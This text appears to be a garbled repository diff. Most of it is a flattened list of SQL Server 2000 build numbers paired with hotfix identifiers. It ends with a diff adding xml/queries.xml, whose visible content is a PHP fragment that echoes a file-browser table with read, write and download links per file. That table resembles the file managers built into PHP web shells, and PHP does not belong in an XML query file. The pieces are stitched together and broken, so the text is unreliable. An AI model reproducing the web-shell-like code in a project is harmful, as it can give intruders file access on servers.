4+Q933573 + + + + + 8.00.2244 + + + 4+Q934203 + + + + + 8.00.2242 + + + 4+Q929131 + + + + + 8.00.2238 + + + 4+Q931932 + + + + + 8.00.2234 + + + 4+Q929440 + + + + + 8.00.2232 + + + 4+Q928568 + + + + + 8.00.2231 + + + 4+Q928079 + + + + + 8.00.2229 + + + 4+Q927186 + + + + + 8.00.2226 + + + 4+Q925684 + + + + + 8.00.2223 + + + 4+Q925678 + + + + + 8.00.2218 + + + 4+Q925297 + + + + + 8.00.2217 + + + 4+Q924664 + + + + + 8.00.2215 + + + 4+Q924662 + + + + + 8.00.2209 + + + 4+Q923797 + + + + + 8.00.2207 + + + 4+Q923344 + + + + + 8.00.2201 + + + 4+Q920930 + + + + + 8.00.2199 + + + 4+Q919221 + + + + + 8.00.2197 + + + 4+Q919133 + + + + + 8.00.2196 + + + 4+Q919165 + + + + + 8.00.2194 + + + 4+Q917972 + + + + + 8.00.2192 + + + 4+Q917606 + + + + + 8.00.2191 + + + 4+Q916698 + + + + + 8.00.2189 + + + 4+Q916652 + + + + + 8.00.2187 + + + 4+916287 + + + + + 8.00.2180 + + + 4+Q913684 + + + + + 8.00.2175 + + + 4+Q911678 + + + + + 8.00.2172 + + + 4+Q910707 + + + + + 8.00.2171 + + + 4+Q909369 + + + + + 8.00.2168 + + + 4+Q907813 + + + + + 8.00.2167 + + + 4+Q921293 + + + + + 8.00.2166 + + + 4+Q909734 + + + + + 8.00.2162 + + + 4+Q904660 + + + + + 8.00.2156 + + + 4+Q906790 + + + + + 8.00.2151 + + + 4+Q903742 + + + + + 8.00.2148 + + + 4+Q899430 + + + + + 8.00.2147 + + + 4+Q899410 + + + + + 8.00.2145 + + + 4+Q826906 + + + + + 8.00.2040 + + + 4+Q899761 + + + + + 8.00.2039 + + + 4 + + + + + 8.00.2026 + + + 4 Beta + + + + + 8.00.1547 + + + 3+Q899410 + + + + + 8.00.1037 + + + 3+Q930484 + + + + + 8.00.1036 + + + 3+Q929410 + + + + + 8.00.1035 + + + 3+Q917593 + + + + + 8.00.1034 + + + 3+Q915328 + + + + + 8.00.1029 + + + 3+Q902852 + + + + + 8.00.1027 + + + 3+Q900416 + + + + + 8.00.1025 + + + 3+Q899428 + + + + + 8.00.1024 + + + 3+Q898709 + + + + + 8.00.1021 + + + 3+Q887700 + + + + + 8.00.1020 + + + 3+Q896985 + + + + + 8.00.1019 + + + 3+Q897572 + + + + + 8.00.1017 + + + 3+Q896425 + + + + + 8.00.1014 + + + 3+Q895123 + + + + + 8.00.1013 + + + 3+Q891866 + + + + + 8.00.1009 + + + 3+Q894257 + + + + + 8.00.1007 + + + 3+Q893312 + + + + + 8.00.1000 + + + 3+Q891585 + + + + + 8.00.997 + + + 3+Q891311 + + + + + 8.00.996 + + + 3+Q891017 + + + + + 8.00.994 + + + 3+Q890942 + + + + + 8.00.993 + + + 3+Q890925 + + + + + 8.00.991 + + + 3+Q889314 + + + + + 8.00.990 + + + 3+Q890200 + + + + + 8.00.988 + + + 3+Q889166 + + + + + 8.00.985 + + + 3+Q889239 + + + + + 8.00.980 + + + 3+Q887974 + + + + + 8.00.977 + + + 3+Q888007 + + + + + 8.00.973 + + + 3+Q884554 + + + + + 8.00.972 + + + 3+Q885290 + + + + + 8.00.970 + + + 3+Q872842 + + + + + 8.00.967 + + + 3+Q878501 + + + + + 8.00.962 + + + 3+Q883415 + + + + + 8.00.961 + + + 3+Q873446 + + + + + 8.00.959 + + + 3+Q878500 + + + + + 8.00.957 + + + 3+Q870994 + + + + + 8.00.955 + + + 3+Q867798 + + + + + 8.00.954 + + + 3+Q843282 + + + + + 8.00.952 + + + 3+Q867878 + + + + + 8.00.944 + + + 3+Q839280 + + + + + 8.00.937 + + + 3+Q841776 + + + + + 8.00.936 + + + 3+Q841627 + + + + + 8.00.935 + + + 3+Q841401 + + + + + 8.00.934 + + + 3+Q841404 + + + + + 8.00.933 + + + 3+Q840856 + + + + + 8.00.929 + + + 3+Q839529 + + + + + 8.00.928 + + + 3+Q839589 + + + + + 8.00.927 + + + 3+Q839688 + + + + + 8.00.926 + + + 3+Q839523 + + + + + 8.00.923 + + + 3+Q838460 + + + + + 8.00.922 + + + 3+Q837970 + + + + + 8.00.919 + + + 3+Q837957 + + + + + 8.00.916 + + + 3+Q317989 + + + + + 8.00.915 + + + 3+Q837401 + + + + + 8.00.913 + + + 3+Q836651 + + + + + 8.00.911 + + + 3+Q837957 + + + + + 8.00.910 + + + 3+Q834798 + + + + + 8.00.908 + + + 3+Q834290 + + + + + 8.00.904 + + + 3+Q834453 + + + + + 8.00.892 + + + 3+Q833710 + + + + + 8.00.891 + + + 3+Q836141 + + + + + 8.00.879 + + + 3+Q832977 + + + + + 8.00.878 + + + 3+Q831950 + + + + + 8.00.876 + + + 3+Q830912 + + + + + 8.00.873 + + + 3+Q830887 + + + + + 8.00.871 + + + 3+Q830767 + + + + + 8.00.870 + + + 3+Q830262 + + + + + 8.00.869 + + + 3+Q830588 + + + + + 8.00.867 + + + 3+Q830366 + + + + + 8.00.866 + + + 3+Q830366 + + + + + 8.00.865 + + + 3+Q830395 + + + + + 8.00.863 + + + 3+Q829205 + + + + + 8.00.859 + + + 3+Q821334 + + + + + 8.00.858 + + + 3+Q828637 + + + + + 8.00.857 + + + 3+Q828017 + + + + + 8.00.856 + + + 3+Q828096 + + + + + 8.00.854 + + + 3+Q828699 + + + + + 8.00.852 + + + 3+Q830466 + + + + + 8.00.851 + + + 3+Q826754 + + + + + 8.00.850 + + + 3+Q826860 + + + + + 8.00.848 + + + 3+Q826822 + + + + + 8.00.847 + + + 3+Q826433 + + + + + 8.00.845 + + + 3+Q826364 + + + + + 8.00.844 + + + 3+Q826080 + + + + + 8.00.842 + + + 3+Q825043 + + + + + 8.00.841 + + + 3+Q825225 + + + + + 8.00.840 + + + 3+Q319477 + + + + + 8.00.839 + + + 3+Q823877 + + + + + 8.00.837 + + + 3+Q821741 + + + + + 8.00.819 + + + 3+Q826161 + + + + + 8.00.818 + + + 3+Q821277 + + + + + 8.00.816 + + + 3+Q818766 + + + + + 8.00.814 + + + 3+Q819662 + + + + + 8.00.811 + + + 3+Q819248 + + + + + 8.00.807 + + + 3+Q818899 + + + + + 8.00.804 + + + 3+Q818729 + + + + + 8.00.801 + + + 3+Q818540 + + + + + 8.00.800 + + + 3+Q818414 + + + + + 8.00.798 + + + 3+Q817464 + + + + + 8.00.794 + + + 3+Q817464 + + + + + 8.00.791 + + + 3+Q815249 + + + + + 8.00.790 + + + 3+Q817081 + + + + + 8.00.789 + + + 3+Q816840 + + + + + 8.00.788 + + + 3+Q816985 + + + + + 8.00.781 + + + 3+Q815057 + + + + + 8.00.780 + + + 3+Q816084 + + + + + 8.00.779 + + + 3+Q814035 + + + + + 8.00.776 + + + 3+Unidentified + + + + + 8.00.775 + + + 3+Q815115 + + + + + 8.00.769 + + + 3+Q814889 + + + + + 8.00.765 + + + < + + + + + 8.00.763 + + + 3+Q814113 + + + + + 8.00.762 + + + 3+Q814032 + + + + + 8.00.760 + + + 3 + + + + + 8.00.743 + + + 2+Q818406 + + + + + 8.00.741 + + + 2+Q818096 + + + + + 8.00.736 + + + 2+Q816937 + + + + + 8.00.735 + + + 2+Q814889 + + + + + 8.00.733 + + + 2+Q813759 + + + + + 8.00.730 + + + 2+Q813769 + + + + + 8.00.728 + + + 2+Q814460 + + + + + 8.00.725 + + + 2+Q812995 + + + + + 8.00.723 + + + 2+Q812798 + + + + + 8.00.721 + + + 2+Q812250 + + + + + 8.00.718 + + + 2+Q811703 + + + + + 8.00.715 + + + 2+Q810688 + + + + + 8.00.714 + + + 2+Q811478 + + + + + 8.00.713 + + + 2 + + + + + 8.00.710 + + + 2 + + + + + 8.00.705 + + + 2+Q810920 + + + + + 8.00.703 + + + 2+Q810526 + + + + + 8.00.702 + + + 2+Q328551 + + + + + 8.00.701 + + + 2+Q810026 + + + + + 8.00.700 + + + 2+Q810072 + + + + + 8.00.696 + + + 2+Q810052 + + + + + 8.00.695 + + + 2+Q331885 + + + + + 8.00.693 + + + 2+Q330212 + + + + + 8.00.689 + + + 2+Q329499 + + + + + 8.00.688 + + + 2+Q329487 + + + + + 8.00.686 + + + 2+Q316333 + + + + + 8.00.682 + + + 3+Q319851 + + + + + 8.00.679 + + + 2+Q316333 + + + + + 8.00.678 + + + 2+Q328354 + + + + + 8.00.667 + + + 2+8 + + + + + 8.00.665 + + + 2+8 + + + + + 8.00.661 + + + 2+Q326999 + + + + + 8.00.655 + + + 2+7 + + + + + 8.00.652 + + + 2+Q810010? + + + + + 8.00.650 + + + 2+Q322853 + + + + + 8.00.644 + + + 2+Q324186 + + + + + 8.00.608 + + + 2+Q319507 + + + + + 8.00.604 + + + 2+3 + + + + + 8.00.594 + + + 2+Q319477 + + + + + 8.00.578 + + + 2+Q317979 + + + + + 8.00.561 + + + 2+1 + + + + + 8.00.558 + + + 2+Q314003 + + + + + 8.00.552 + + + 2+Q313002 + + + + + 8.00.534 + + + 2.01 + + + + + 8.00.532 + + + 2 + + + + + 8.00.475 + + + 1+1 + + + + + 8.00.474 + + + 1+Q315395 + + + + + 8.00.473 + + + 1+Q314003 + + + + + 8.00.471 + + + 1+Q313302 + + + + + 8.00.469 + + + 1+Q313005 + + + + + 8.00.452 + + + 1+Q308547 + + + + + 8.00.444 + + + 1+Q307540 + + + + + 8.00.443 + + + 1+Q307538 + + + + + 8.00.428 + + + 1+Q304850 + + + + + 8.00.384 + + + 1 + + + + + 8.00.287 + + + 0+Q297209 + + + + + 8.00.251 + + + 0+Q300194 + + + + + 8.00.250 + + + 0+Q291683 + + + + + 8.00.249 + + + 0+Q288122 + + + + + 8.00.239 + + + 0+Q285290 + + + + + 8.00.233 + + + 0+Q282416 + + + + + 8.00.231 + + + 0+Q282279 + + + + + 8.00.226 + + + 0+Q278239 + + + + + 8.00.225 + + + 0+Q281663 + + + + + 8.00.223 + + + 0+Q280380 + + + + + 8.00.222 + + + 0+Q281769 + + + + + 8.00.218 + + + 0+Q279183 + + + + + 8.00.217 + + + 0+Q279293 + + + + + 8.00.211 + + + 0+Q276329 + + + + + 8.00.210 + + + 0+Q275900 + + + + + 8.00.205 + + + 0+Q274330 + + + + + 8.00.204 + + + 0+Q274329 + + + + + 8.00.194 + + + 0 + + + + + 8.00.190 + + + Gold, no + + + + + 8.00.100 + + + Beta 2 + + + + + 8.00.078 + + + EAP5 + + + + + 8.00.047 + + + EAP4 + + + + diff --git a/xml/queries.xml b/xml/queries.xml new file mode 100644 index 000000000..ff0970b47 --- /dev/null +++ b/xml/queries.xml @@ -0,0 +1,194 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NamePermissionOwner/GroupSizeReadWriteDownload
"; + } + else if ($isfile) { + echo ""; + } + else { + echo "$linkToFile"; + } + echo "$linkToFile" . @substr(@sprintf("%o", @fileperms($linkToFile)), -4) . "" . $owner["name"] . "/" . $group["name"] . "DIRLINK" . @sprintf("%u", @filesize($linkToFile)) . " bytesUnknownRead-Write-Download-